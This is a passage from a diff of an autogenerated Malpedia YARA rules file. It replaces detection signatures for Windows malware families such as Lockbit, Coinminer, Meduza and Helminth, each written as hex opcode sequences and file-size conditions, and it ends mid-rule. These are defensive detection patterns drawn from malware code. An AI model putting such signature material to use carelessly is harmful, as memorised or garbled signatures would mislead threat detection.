= "cb72c9411818be36907dbdd85a36216d8cf0f5bc33a5604f0609af1c56f21889" + logic_hash = "62c626f34e857ae6d027e483d640bb517fea648ca7b95f5f7c3238608cc58884" score = 75 quality = 75 tags = "FILE" @@ -96394,38 +96634,32 @@ rule MALPEDIA_Win_Nachocheese_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 2bfa 8d47fd 3901 8901 } - $sequence_1 = { 3d2cc00000 7f18 3d2bc00000 7d1b } - $sequence_2 = { 33c4 89842498210000 833d????????02 53 56 } - $sequence_3 = { 3d9c000000 7c07 3d9f000000 7e0d } - $sequence_4 = { 8b5f18 85f6 7504 33c0 eb1e } - $sequence_5 = { 83c404 8975fc 8d4900 e8???????? 8bf0 85f6 } - $sequence_6 = { 8d4813 894dec 8955fc 53 } - $sequence_7 = { 3d2bc00000 7d1b 3d9c000000 7c07 } - $sequence_8 = { 81fb80000000 7305 83c302 eb29 81fb00010000 7305 } - $sequence_9 = { 5b 8be5 5d c20400 8d4508 50 681d002000 } - $sequence_10 = { 33c8 894710 8b4708 33c1 } - $sequence_11 = { 33c0 c3 05d13fffff 83f801 } - $sequence_12 = { 83ec0c 53 56 57 33f6 6a03 } - $sequence_13 = { 8b4508 8d55a8 52 33c9 50 } - $sequence_14 = { 52 89bddcf9ffff e8???????? 83c404 } - $sequence_15 = { 3d9f000000 7e0d 33c0 c3 } + $sequence_0 = { 75f0 83ec0c ebcd 8d65f8 5b 5e } + $sequence_1 = { c7411849260508 eb28 83f83e 7509 c7411851260508 eb1a 83f82a } + $sequence_2 = { 50 e8???????? 83c410 eb22 50 55 } + $sequence_3 = { 894304 e8???????? a1???????? 66897308 c7430c00000000 c6430aff 89580c } + $sequence_4 = { 0fb7c0 894704 8b441108 66c1c808 } + $sequence_5 = { e9???????? 0fbe19 b800000080 41 c744240801000000 eb12 } + $sequence_6 = { e8???????? 89e8 c7851c040000ffffffff e8???????? 83c410 e9???????? } + $sequence_7 = { 80cc08 50 6a04 ff35???????? e8???????? 8d842468090000 } + $sequence_8 = { 41 eb9b 85ed 790f } + $sequence_9 = { 83c410 807b021f 742c 8d143b 8a02 3cfd 7404 } condition: - 7 of them and filesize < 1064960 + 7 of them and filesize < 122880 } -rule MALPEDIA_Win_Mapiget_Auto : FILE +rule MALPEDIA_Win_Session_Manager_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "90931f84-8d97-5d03-9fd8-5157c4363161" + id = "0581ea0a-3bb4-5759-b879-c839f5bdbdad" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mapiget" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mapiget_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.session_manager" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.session_manager_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "db2ad0ac6ed98d9fe4028516eb88a6adb15c290b65682d6ffe66f99e185c09f3" + logic_hash = "02f9d1668e1984de7209fb8203b706bf8fb13f2ad60ed57c78494704eeede860" score = 75 quality = 75 tags = "FILE" @@ -96439,32 +96673,32 @@ rule MALPEDIA_Win_Mapiget_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 59 7433 8305????????20 8d0cbd20174100 8d9000010000 } - $sequence_1 = { 50 51 52 c744244044000000 c744244808e24000 c744246c01000000 ff15???????? } - $sequence_2 = { b97f000000 33c0 8d7c242a 66895c2428 66899c2428020000 } - $sequence_3 = { 8d7c2418 8b542468 f3ab 6689442444 8d442404 8d4c2414 50 } - $sequence_4 = { 8b4c2468 6a00 6a00 6a00 52 } - $sequence_5 = { 8d85f0feffff 52 8d8d70ffffff 50 8d95f0fdffff 51 } - $sequence_6 = { 6683bc45eefeffff0a 7517 8d95f0feffff 52 } - $sequence_7 = { c1e603 8d1c8520174100 8b048520174100 03c6 } - $sequence_8 = { 8b5c2408 55 83cdff 56 83fb02 57 be01000000 } - $sequence_9 = { 50 e8???????? 83c404 6689bc456effffff 8d8df0feffff } + $sequence_0 = { 488bca 4c8d0579970100 83e13f 488bc2 } + $sequence_1 = { 4c89b8701c0000 4c89b8781c0000 4c89b8801c0000 4c89b8881c0000 4c89b8901c0000 4c89b8981c0000 4c89b8a01c0000 } + $sequence_2 = { 4c89b8c01a0000 4c89b8c81a0000 4c89b8d01a0000 4c89b8d81a0000 4c89b8e01a0000 4c89b8e81a0000 } + $sequence_3 = { 0f84d6000000 4c8d155b7e0100 41b90a000000 4b8b04fa } + $sequence_4 = { 4c89b8981d0000 4c89b8a01d0000 4c89b8a81d0000 4c89b8b01d0000 4c89b8b81d0000 4c89b8c01d0000 } + $sequence_5 = { 488b45d8 488908 488d0d6d720100 488b45d8 8990a8030000 488b45d8 48898888000000 } + $sequence_6 = { 4c89b850130000 4c89b858130000 4c89b860130000 4c89b868130000 } + $sequence_7 = { 90 4c8d4001 41b901000000 488d1592df0100 488d4dd7 e8???????? } + $sequence_8 = { 488d1559e10100 488bcf ff5018 48c7452f0f000000 48897527 } + $sequence_9 = { 4c89b818080000 4c89b820080000 4c89b828080000 4c89b830080000 4c89b838080000 4c89b840080000 } condition: - 7 of them and filesize < 163840 + 7 of them and filesize < 372736 } -rule MALPEDIA_Win_Tiop_Auto : FILE +rule MALPEDIA_Win_Coinminer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7759473d-7c21-529d-8c5c-8c80ad3dfcde" + id = "dd71a564-9751-5c18-a6bf-b9b0587239f2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiop" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tiop_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coinminer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.coinminer_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "9d95462dbb557911b61e12f852944c9e17315546dfa96a6eb7c9f227ec2b38c0" + logic_hash = "c6e378240c8214f1ad0ec61fc8d57006e837b16f1716923b20f2ac30be5b248c" score = 75 quality = 75 tags = "FILE" @@ -96478,32 +96712,32 @@ rule MALPEDIA_Win_Tiop_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd7 8d4c241c a3???????? e8???????? 8b10 53 8bc8 } - $sequence_1 = { 57 8965e8 8b4508 8d7004 8975e4 } - $sequence_2 = { 51 50 ffd7 83c408 85c0 7555 8b4604 } - $sequence_3 = { 64a100000000 50 64892500000000 83ec08 b8fc120000 e8???????? } - $sequence_4 = { 51 55 ff15???????? 8b7c2410 56 8b35???????? } - $sequence_5 = { 8d542414 68???????? f3ab 52 ffd3 83c414 85c0 } - $sequence_6 = { 68???????? 64a100000000 50 64892500000000 83ec08 56 33f6 } - $sequence_7 = { c64424388d c6442439b5 c644242c81 c644242dc3 c644243e85 c644243fff } - $sequence_8 = { 8d542410 53 8944247c 53 894c2468 89542474 } - $sequence_9 = { 8bf8 ff5204 894708 a1???????? 50 57 } + $sequence_0 = { 8b8d24e5ffff 8b0485a05f9a00 f644010440 7409 803a1a 7504 33c0 } + $sequence_1 = { 8b85f0feffff 85c0 7509 33d2 } + $sequence_2 = { 83c801 85c0 741d 8d85d4fdffff } + $sequence_3 = { ebcc 5f 5e 33c0 5b 8be5 } + $sequence_4 = { c7465c60fd8f00 83660800 33ff 47 897e14 } + $sequence_5 = { ff15???????? 6683bc24b002000000 8d8c24b0020000 ba???????? } + $sequence_6 = { 7e58 bc80304a3e 60 4c 1c00 59 6443 } + $sequence_7 = { 57 6868060000 0f57c0 894c2440 8d8424ec000000 c744242400004000 } + $sequence_8 = { c3 8b04c50c509000 5d c3 55 8bec 8b4508 } + $sequence_9 = { 8304240d cb 8d85b0fdffff 8945fc 85c0 745d 8b4df0 } condition: - 7 of them and filesize < 712704 + 7 of them and filesize < 1523712 } -rule MALPEDIA_Win_Rhadamanthys_Auto : FILE +rule MALPEDIA_Win_Hdmr_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fbc76f02-e283-5cc2-95ab-feddb32988f8" + id = "d7c2af72-912d-5503-a152-e44806d38df1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rhadamanthys_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hdmr" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hdmr_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "9730ed3bce4b206712bfc32009b2e0a70bda3b8b9f39f72ed960449e1927c991" + logic_hash = "ee139c0aa91276df8e246776ac0e0dc9525d3fadc5574673ef7224c9dd7d71ea" score = 75 quality = 75 tags = "FILE" @@ -96517,32 +96751,32 @@ rule MALPEDIA_Win_Rhadamanthys_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff7308 03c6 50 8b03 } - $sequence_1 = { 8a01 84c0 7416 8b542408 69d293010001 } - $sequence_2 = { 33d0 41 89542408 ebe4 } - $sequence_3 = { 7416 8b542408 69d293010001 0fb6c0 33d0 41 } - $sequence_4 = { 8b542408 69d293010001 0fb6c0 33d0 41 89542408 ebe4 } - $sequence_5 = { 7416 8b542408 69d293010001 0fb6c0 33d0 } - $sequence_6 = { 84c0 7416 8b542408 69d293010001 0fb6c0 } - $sequence_7 = { 7416 8b542408 69d293010001 0fb6c0 33d0 41 89542408 } - $sequence_8 = { 84c0 7416 8b542408 69d293010001 0fb6c0 33d0 } - $sequence_9 = { 84c0 7416 8b542408 69d293010001 } + $sequence_0 = { 8b06 8b9094000000 8bce ffd2 8b10 8bc8 } + $sequence_1 = { 337008 8955fc 33de 8b75f8 33fe 81e7ff00ff00 33780c } + $sequence_2 = { 2bf7 8bff 0fb719 0fb73c0e } + $sequence_3 = { 51 e8???????? 8bf0 89470c 8b450c 83c404 8bd6 } + $sequence_4 = { ffd7 83c614 ff4c240c 0f8562ffffff 33d2 68fe070000 52 } + $sequence_5 = { 0f84e1030000 6a00 6a00 6a00 } + $sequence_6 = { 7424 8b06 8b9094000000 8bce } + $sequence_7 = { 8d45cc 50 c745cce86b4100 e8???????? 8b7508 bf63736de0 393e } + $sequence_8 = { 56 8d3c8540d04100 e8???????? 83e01f 59 } + $sequence_9 = { 8bce ffd2 8b10 4f 57 8bc8 } condition: - 7 of them and filesize < 1111040 + 7 of them and filesize < 284672 } -rule MALPEDIA_Win_Appleseed_Auto : FILE +rule MALPEDIA_Win_Alma_Locker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6233653f-8647-5513-96a5-b2cd884fdea1" + id = "ce864cf3-8ed9-5a77-84b9-9123b66a46f1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.appleseed" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.appleseed_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_locker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alma_locker_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "142435c8e7521abcc92619a4e86e241d8250a7e1e464619e8d897ededc2c5423" + logic_hash = "8cabf41a3f65a5dd2317b51829855a0a62bf40db235945e5f426bc09d1925bbb" score = 75 quality = 75 tags = "FILE" @@ -96556,32 +96790,32 @@ rule MALPEDIA_Win_Appleseed_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4989742410 41c6042400 49837f1810 7208 498b0f e8???????? 49c747180f000000 } - $sequence_1 = { 0f8414010000 488d15d2160200 488d4db8 e8???????? 90 488d55d8 488bc8 } - $sequence_2 = { 48894c2470 33f6 89742440 48c741180f000000 48897110 408831 4533c0 } - $sequence_3 = { 48837dd010 7209 488b4db8 e8???????? 48833d????????00 0f847c180000 48c745d00f000000 } - $sequence_4 = { 480f434daf 488b5d07 4c8bc3 4c8b75bf 4c3bf3 4d0f42c6 4d85c0 } - $sequence_5 = { 4889742440 4088742430 448d463c 488d1524b40100 488d4c2430 e8???????? 90 } - $sequence_6 = { 488b5c2438 4883c420 5e c3 488d0d887c0200 e8???????? } - $sequence_7 = { 48897310 c60300 48837d9810 7209 488b4d80 } - $sequence_8 = { e8???????? 488325????????00 4883c428 c3 488d05310a0200 c3 4053 } - $sequence_9 = { 488bfa 488bf1 4533f6 4489742460 44887580 33d2 41b8ff030000 } + $sequence_0 = { 750d e8???????? 84c0 0f8461010000 e8???????? 833d????????00 } + $sequence_1 = { 8b08 ff5108 8b45ac 50 8b08 ff5108 } + $sequence_2 = { c745e800000000 c645d800 720b ff75c0 e8???????? 83c404 83ec18 } + $sequence_3 = { 8b85f8fbffff 0f438de8fbffff ffb538f9ffff c785e4fbffff0f000000 c785e0fbffff00000000 8d0441 c685d0fbffff00 } + $sequence_4 = { 1bc0 f7d8 0f854affffff 8b8580fbffff 51 83c0fe 8d8d70fbffff } + $sequence_5 = { 8d558c c645fc04 8d4dbc e8???????? 83c404 c645fc06 837db810 } + $sequence_6 = { 33c0 c645fc0d 33c9 66a3???????? 66390d???????? 8bc6 c705????????07000000 } + $sequence_7 = { 0f8412000000 83a5e0fffefffe 8b8de8fffeff e9???????? c3 8b542408 8d420c } + $sequence_8 = { c78598fbffff00000000 c7859cfbffff0f000000 720e ffb558fbffff e8???????? 83c404 83bdccfbffff08 } + $sequence_9 = { 83bd9cfbffff10 c78584fbffff0f000000 c78580fbffff00000000 c68570fbffff00 720e ffb588fbffff } condition: - 7 of them and filesize < 497664 + 7 of them and filesize < 335872 } -rule MALPEDIA_Win_Nefilim_Auto : FILE +rule MALPEDIA_Win_Helminth_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f770afff-845f-5499-a82e-ad8c0e6c9614" + id = "5fdf8a25-7bbd-5109-b9cb-02cfb27261a2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nefilim" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nefilim_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.helminth" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.helminth_auto.yar#L1-L160" license_url = "N/A" - logic_hash = "84fb3ca9c75650a6b701073468d1bedd054df919eaf8258d3aea8d2bb0356db2" + logic_hash = "fef76838e29eb47ff0f2e451721fe0e767720682455a5aea55c0645b1ef1cd31" score = 75 quality = 75 tags = "FILE" @@ -96595,34 +96829,39 @@ rule MALPEDIA_Win_Nefilim_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a00 ff15???????? 50 ff15???????? 57 8bf0 } - $sequence_1 = { 7304 8d442414 68???????? 50 ffd6 85c0 0f84dc000000 } - $sequence_2 = { 50 ffd6 85c0 0f849b040000 68???????? 8d8424d0000000 } - $sequence_3 = { 0f8f5d010000 8b4c2418 394c2428 0f822dffffff e9???????? } - $sequence_4 = { 3b5d0c 72b3 5e 8b8538ffffff 6a10 2bf8 } - $sequence_5 = { 33c0 50 50 ff74241c ffd7 53 8d442434 } - $sequence_6 = { 8bf0 ffd3 50 57 e8???????? } - $sequence_7 = { 68???????? 50 ffd6 85c0 0f84a0000000 8b442414 397c2428 } - $sequence_8 = { 8b4de0 a3???????? 7303 8d4de0 } - $sequence_9 = { c9 c3 55 8bec 83e4f8 81ecec020000 a1???????? } + $sequence_0 = { a1???????? 68e8030000 8907 e8???????? } + $sequence_1 = { 2bc6 3bd8 a1???????? 7f5e 8d3c81 } + $sequence_2 = { 8bd8 85db 0f84bc000000 8bcb 8d5102 668b01 83c102 } + $sequence_3 = { 83e11f c1e106 8b048570750110 80640804fe ff36 e8???????? } + $sequence_4 = { 8a441918 8881a8670110 41 ebe8 8975e4 } + $sequence_5 = { 56 ff15???????? 56 e8???????? 8b35???????? 83c404 8b0d???????? } + $sequence_6 = { 8bca 894c2408 8d9b00000000 668b02 83c202 6685c0 75f5 } + $sequence_7 = { 66893441 8b1a ff15???????? 8bc3 8d5002 668b08 } + $sequence_8 = { 83f8ff 0f84ac000000 8d442418 50 56 } + $sequence_9 = { 8945dc 8d45cc 50 6a02 } + $sequence_10 = { 51 e8???????? 8b55e8 03f6 59 } + $sequence_11 = { 8bd0 b9???????? 8995c8fbffff 2bd1 } + $sequence_12 = { f3a5 8bca 83e103 f3a4 8b7c2414 83ef02 } + $sequence_13 = { eb1c 56 ff15???????? 57 ff15???????? } + $sequence_14 = { e8???????? 8b75f0 43 59 eb31 } condition: - 7 of them and filesize < 142336 + 7 of them and filesize < 479232 } -rule MALPEDIA_Win_Unidentified_070_Auto : FILE +rule MALPEDIA_Win_Lockbit_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bc99ca5b-4d55-52a4-9778-97da0dfa2869" + id = "4ed7dbc7-3585-5c20-a9ac-479c38ded866" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_070" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_070_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lockbit_auto.yar#L1-L210" license_url = "N/A" - logic_hash = "2ece2222d59166146594c492cc62e3c6aa195983d54a5768c5b3c1160f95e1d0" + logic_hash = "d83c3bb6fdeb9666252e892916a121a76bca2329b4383b39f3b9be802c917095" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -96634,32 +96873,43 @@ rule MALPEDIA_Win_Unidentified_070_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a00 6a00 6a00 6a04 50 ff15???????? 8945fc } - $sequence_1 = { 6a04 50 ff15???????? 8945fc 85c0 } - $sequence_2 = { 6a00 6a00 6a04 50 ff15???????? 8945fc 85c0 } - $sequence_3 = { 6a00 6a04 50 ff15???????? 8945fc 85c0 } - $sequence_4 = { 6a00 6a04 50 ff15???????? 8945fc } - $sequence_5 = { 33c0 c20400 3b0d???????? 7502 } - $sequence_6 = { 6a00 6a00 6a04 50 ff15???????? 8945fc } - $sequence_7 = { 83f8ff 50 0f95c3 ff15???????? 8d85f4fdffff } - $sequence_8 = { 6a00 6a00 6800200000 6a01 8d8424e8000000 } - $sequence_9 = { 6a00 6a00 68???????? 8d85f4fdffff 50 6a00 } + $sequence_0 = { 66ad 90 6683f841 720b 6683f85a 7705 } + $sequence_1 = { 7407 3d9bb4840b 7518 8b4e0c 03cb } + $sequence_2 = { 6a00 6a00 6800000040 ff75d4 } + $sequence_3 = { 8bec 81ec7c030000 53 56 57 8d9d84fcffff } + $sequence_4 = { 66b82000 f266af 85c9 7512 } + $sequence_5 = { 8d8550fdffff 50 6a00 ff15???????? } + $sequence_6 = { 33c0 8d7df0 33c9 53 } + $sequence_7 = { 660f73f904 660fefc8 0f28c1 660f73f804 } + $sequence_8 = { 50 8d45fc 50 ff75fc ff75f4 } + $sequence_9 = { 33d0 8bc1 c1e810 0fb6c0 c1e208 } + $sequence_10 = { 5b 8907 897704 894f08 89570c f745f800000002 740c } + $sequence_11 = { 47 4e 85f6 75d2 5d 5f 5e } + $sequence_12 = { 03d0 90 85c0 75e1 8bc2 5e 5a } + $sequence_13 = { 89570c f745f800000002 740c 5f 5e b801000000 } + $sequence_14 = { 57 8d9d84fcffff b900c2eb0b e2fe e8???????? 53 } + $sequence_15 = { ff759c 8d858cfeffff 50 ff7610 51 e8???????? 83c628 } + $sequence_16 = { 8d45f4 50 6a00 6a00 ff15???????? } + $sequence_17 = { 8bfb 895830 33fe 897834 8bf7 } + $sequence_18 = { 894f64 33d6 8b7510 895768 8bda } + $sequence_19 = { 740b 83e904 8b040e 89040f } + $sequence_20 = { 740b 83e902 0fb7040e 6689040f f6c204 7409 83e904 } condition: - 7 of them and filesize < 90112 + 7 of them and filesize < 2049024 } -rule MALPEDIA_Win_Bubblewrap_Auto : FILE +rule MALPEDIA_Win_Xtinyloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8af5c082-aa6b-50c2-beb7-d15cea5a0e28" + id = "18e6856e-e403-5601-8fbf-f7925fca3610" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bubblewrap" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bubblewrap_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xtinyloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xtinyloader_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "9768a3ec06517eeb8d4ed3cf1b68ed17318c56d44232a674eb24375a5c01ec8d" + logic_hash = "b857d545e3495e8e215ff8dbc4483cf1ba89c02a05d887dc31b61d1a2d74f26a" score = 75 quality = 75 tags = "FILE" @@ -96673,32 +96923,32 @@ rule MALPEDIA_Win_Bubblewrap_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c9ff f2ae f7d1 49 c605????????ee c605????????03 } - $sequence_1 = { c21000 55 68???????? 6a01 6a00 ff15???????? } - $sequence_2 = { 8915???????? 8b15???????? a3???????? 66a1???????? 880d???????? b910000000 } - $sequence_3 = { 8bca 89442414 83e103 55 } - $sequence_4 = { 83e103 f3a4 8dbc24ac000000 83c9ff } - $sequence_5 = { e8???????? 83c408 be???????? b8???????? 8a10 } - $sequence_6 = { c1e902 f3a5 8bca 83e103 f3a4 be???????? b8???????? } - $sequence_7 = { 8bc1 894c2414 3bc5 0f821cffffff 8b6c2424 b967010000 33c0 } - $sequence_8 = { 8b0d???????? 8b15???????? 894c0435 b920000000 8d742434 bf???????? } - $sequence_9 = { 8b15???????? f2ae f7d1 49 bf???????? } + $sequence_0 = { ff35???????? e8???????? 8b35???????? 83c448 8944241c 85db 7409 } + $sequence_1 = { 7437 57 ff15???????? 85c0 7425 56 } + $sequence_2 = { e8???????? 50 ff35???????? e8???????? a3???????? 0fb605???????? 83c444 } + $sequence_3 = { ff45fc 8b45fc 3b45f4 72be 33c0 5f 5e } + $sequence_4 = { 8d45f8 50 8b450c 2bc7 } + $sequence_5 = { 85c0 7442 8b45fc 8b0c86 8b450c } + $sequence_6 = { 8b5d08 b84d5a0000 663903 7407 33c0 e9???????? } + $sequence_7 = { 57 ff15???????? 85c0 0f8450010000 8d45f8 } + $sequence_8 = { 57 895de4 895df4 895dec } + $sequence_9 = { 7459 393d???????? 7451 393d???????? } condition: - 7 of them and filesize < 57136 + 7 of them and filesize < 50176 } -rule MALPEDIA_Win_Grimagent_Auto : FILE +rule MALPEDIA_Win_Meduza_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "71af2f17-8403-52ad-833c-4f34c39aa4f9" + id = "e3895974-72b9-57f5-8c34-0e6d028adf2b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grimagent" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grimagent_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meduza" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.meduza_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "2bd16393ddc9027f65320f9d7195e30024d5bd5433e4f4effa16eae0aefd4e45" + logic_hash = "91edd922ee662fa1f50c4b9c5768d207acd5144b81bbe8f2830a6c18fd7c29e5" score = 75 quality = 75 tags = "FILE" @@ -96712,32 +96962,32 @@ rule MALPEDIA_Win_Grimagent_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83ec18 c745f400000000 c745f800000000 c745e800000000 8b4508 8945f0 } - $sequence_1 = { 8b4d0c 51 e8???????? 83c404 3945f8 7328 8b55ec } - $sequence_2 = { 85c0 7420 8b4d08 51 8d95f4feffff 52 e8???????? } - $sequence_3 = { 83c404 3945f8 750e c745e801000000 b801000000 eb1a 8b4df0 } - $sequence_4 = { 0f8394000000 8b4df0 0fb711 8b45fc } - $sequence_5 = { 8b45ec 83c002 8945ec 8b4dfc 83c102 894dfc eb02 } - $sequence_6 = { 85c0 7420 8b4d08 51 8d95f4feffff } - $sequence_7 = { 83c404 3945f8 750e c745e801000000 } - $sequence_8 = { 8b4508 0fbe08 85c9 7426 } - $sequence_9 = { 8b4508 8945f0 8b4d0c 894dfc c745f400000000 eb09 8b55f4 } + $sequence_0 = { 8b8d7cf2ffff 0f288d90ebffff 898decf8ffff 8d8d90ebffff 8985e8f8ffff 8d5101 660fef8de0f8ffff } + $sequence_1 = { 898db4f8ffff 8985b0f8ffff c78548f8ffff22b9d72e c7854cf8ffff97001a04 8b8548f8ffff 8b8d4cf8ffff c5fe6f8540f1ffff } + $sequence_2 = { 898d54f9ffff c785d8e4ffff12b8295c c785dce4ffffd94ef7ef 8b85d8e4ffff 8b8ddce4ffff 898558f9ffff 898d5cf9ffff } + $sequence_3 = { 0f288d00edffff 898d5cfaffff 8d8d00edffff 898558faffff 8d5101 660fef8d50faffff 0f298d00edffff } + $sequence_4 = { 8b4908 8d5801 2bca 895de0 c1f904 b8ffffff0f 8bd1 } + $sequence_5 = { 0f1f440000 8a01 41 84c0 75f9 2bca 8d8530e1ffff } + $sequence_6 = { c78578fdffff88642bdd c7857cfdffff13203a28 8b8578fdffff 8b8d7cfdffff 898d2cfeffff 898528feffff c78578fdffff6d0b2891 } + $sequence_7 = { 6aff 68???????? 64a100000000 50 53 81eca8060000 a1???????? } + $sequence_8 = { c5f8298d80f4ffff c5f81185e8e8ffff c785f8e8ffff00000000 c785fce8ffff00000000 c5f877 8a01 41 } + $sequence_9 = { 51 52 e8???????? 83c408 eb08 85c9 0f85a9000000 } condition: - 7 of them and filesize < 582656 + 7 of them and filesize < 1433600 } -rule MALPEDIA_Win_Headertip_Auto : FILE +rule MALPEDIA_Win_Artfulpie_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1dda5df3-2437-55ec-aee3-662480184ff3" + id = "de5450b6-b95f-5bac-b0a9-b9c5fd386b22" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.headertip" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.headertip_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.artfulpie" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.artfulpie_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "a8e98ab682cf8297008cac86233820760ccd69da30239b18014120d2702bf71b" + logic_hash = "6beac333cee4f67e44a4d36d19350c582ab6bfc4c8f39d10f4335fab88933e77" score = 75 quality = 75 tags = "FILE" @@ -96751,32 +97001,32 @@ rule MALPEDIA_Win_Headertip_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c645e465 c645e573 c645e674 c645e757 885de8 } - $sequence_1 = { 8b450c 48 753a 8b4508 } - $sequence_2 = { 0f845b020000 8d4d34 51 50 ff15???????? a3???????? } - $sequence_3 = { 84c9 75f1 c20400 8b542404 33c0 85d2 } - $sequence_4 = { 56 57 64a130000000 8b400c 8b7014 8bfe } - $sequence_5 = { c6451d74 c6451e45 c6451f72 c6452072 c645216f c6452272 885d23 } - $sequence_6 = { ff7508 ff35???????? ff15???????? 85c0 7528 } - $sequence_7 = { 68???????? be???????? 56 c705????????19100010 c705????????5b120010 ff15???????? } - $sequence_8 = { 58 668945f4 668945f6 6a33 58 668945f8 6a32 } - $sequence_9 = { 33c0 5f 5b 5e c3 0fb7c7 } + $sequence_0 = { ff15???????? 85c0 0f8527010000 0f1f4000 8b430c 85c0 0f8418010000 } + $sequence_1 = { c745fc00000000 85c0 7406 50 e8???????? 8b4df4 b801000000 } + $sequence_2 = { 8db8b44b4100 57 ff15???????? ff0d???????? 83ef18 } + $sequence_3 = { 894de0 8b049d984e4100 0fb6440828 83e001 } + $sequence_4 = { 50 ffd2 85c0 7477 